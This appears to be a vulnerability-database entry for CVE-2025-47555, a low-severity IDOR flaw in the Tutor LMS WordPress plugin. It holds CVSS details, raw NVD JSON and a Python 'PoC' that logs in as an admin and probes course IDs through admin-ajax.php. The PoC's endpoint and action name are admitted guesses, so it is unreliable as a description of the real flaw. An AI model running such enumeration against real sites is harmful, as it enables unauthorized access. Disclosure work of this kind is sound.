Security Vulnerability Report
中文
CVE-2025-47555 CVSS 3.8 LOW

CVE-2025-47555

Published: 2026-01-22 17:15:55
Last Modified: 2026-04-27 19:16:14

Description

Authorization Bypass Through User-Controlled Key vulnerability in Themeum Tutor LMS tutor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tutor LMS: from n/a through <= 3.9.4.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Tutor LMS <= 3.9.4 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-47555 Tutor LMS IDOR Vulnerability PoC # Affected: Tutor LMS <= 3.9.4 # Type: Insecure Direct Object Reference (IDOR) # This PoC demonstrates the authorization bypass through user-controlled key import requests import json TARGET_URL = "https://vulnerable-site.com" # Replace with valid WordPress credentials (high privilege user required) USERNAME = "admin" PASSWORD = "password" def login(): """Authenticate to WordPress and get session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In" } response = session.post(login_url, data=login_data, allow_redirects=True) return session if "wordpress_logged_in" in str(session.cookies) else None def exploit_idor(session, target_resource_id): """ Exploit IDOR by manipulating resource ID in the request The vulnerable endpoint doesn't properly validate ownership/permissions """ # Vulnerable endpoint - replace with actual vulnerable endpoint vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Example attack payload - manipulate the resource ID headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # This payload attempts to access/modify resource with target_resource_id # without proper authorization check data = { "action": "tutor_fetch_content", # Example action name "course_id": target_resource_id, # User-controlled key "request_type": "get" } response = session.post(vulnerable_endpoint, data=data, headers=headers) return response.text def main(): print("[*] CVE-2025-47555 Tutor LMS IDOR PoC") print("[*] Target:", TARGET_URL) # Step 1: Login with high privilege account session = login() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Enumerate or guess resource IDs # In real attack, attacker would enumerate valid course/lesson IDs target_ids = [1001, 1002, 1003] # Example IDs for resource_id in target_ids: print(f"[*] Attempting to access resource ID: {resource_id}") result = exploit_idor(session, resource_id) # Check if unauthorized access was successful if "success" in result.lower() or "data" in result.lower(): print(f"[+] Potential IDOR - Accessed resource {resource_id}") print(f"[+] Response: {result[:200]}...") else: print(f"[-] Resource {resource_id} access denied or not found") if __name__ == "__main__": main() print("\n[!] Note: This PoC is for educational and authorized testing purposes only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47555", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:54.770", "lastModified": "2026-04-27T19:16:13.960", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Themeum Tutor LMS tutor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tutor LMS: from n/a through <= 3.9.4."}, {"lang": "es", "value": "Vulnerabilidad de elusión de autorización a través de clave controlada por el usuario en Themeum Tutor LMS tutor permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Tutor LMS: desde n/a hasta &lt;= 3.9.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tutor/vulnerability/wordpress-tutor-lms-plugin-3-9-4-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}